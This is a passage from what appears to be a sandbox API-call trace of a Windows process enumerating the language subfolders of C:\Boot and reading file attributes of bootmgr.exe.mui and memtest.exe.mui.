	[0078.138] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.138] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0078.139] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.139] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360)) returned 1
	[0078.176] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.177] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398)) returned 1
	[0078.177] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.177] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT" (normalized: "c:\\boot\\it-it"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.177] CreateFileW (lpFileName="C:\\Boot\\it-IT" (normalized: "c:\\boot\\it-it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.177] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39e1c0
	[0078.177] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.177] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.177] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0078.177] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.178] FindClose (in: hFindFile=0x1619f39e1c0 | out: hFindFile=0x1619f39e1c0) returned 1
	[0078.178] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.178] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58)) returned 1
	[0078.178] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.178] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0)) returned 1
	[0078.215] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.215] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP" (normalized: "c:\\boot\\ja-jp"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.215] CreateFileW (lpFileName="C:\\Boot\\ja-JP" (normalized: "c:\\boot\\ja-jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.215] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39e100
	[0078.215] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.215] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.215] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0078.216] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.216] FindClose (in: hFindFile=0x1619f39e100 | out: hFindFile=0x1619f39e100) returned 1
	[0078.216] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.216] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760)) returned 1
	[0078.216] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.216] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798)) returned 1
	[0078.216] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.216] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR" (normalized: "c:\\boot\\ko-kr"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.253] CreateFileW (lpFileName="C:\\Boot\\ko-KR" (normalized: "c:\\boot\\ko-kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.254] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0078.254] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.254] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.254] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0078.254] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.254] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0078.254] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.254] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560)) returned 1
	[0078.254] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.254] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0)) returned 1
	[0078.254] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.255] GetFileAttributesExW (in: lpFileName="C:\\Boot\\lt-LT" (normalized: "c:\\boot\\lt-lt"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.255] CreateFileW (lpFileName="C:\\Boot\\lt-LT" (normalized: "c:\\boot\\lt-lt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.255] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dec0
	[0078.255] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.255] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.255] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.255] FindClose (in: hFindFile=0x1619f39dec0 | out: hFindFile=0x1619f39dec0) returned 1
	[0078.255] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.255] GetFileAttributesExW (in: lpFileName="C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760)) returned 1
	[0078.292] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.292] GetFileAttributesExW (in: lpFileName="C:\\Boot\\lv-LV" (normalized: "c:\\boot\\lv-lv"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.292] CreateFileW (lpFileName="C:\\Boot\\lv-LV" (normalized: "c:\\boot\\lv-lv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.292] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39e100
	[0078.293] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.293] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
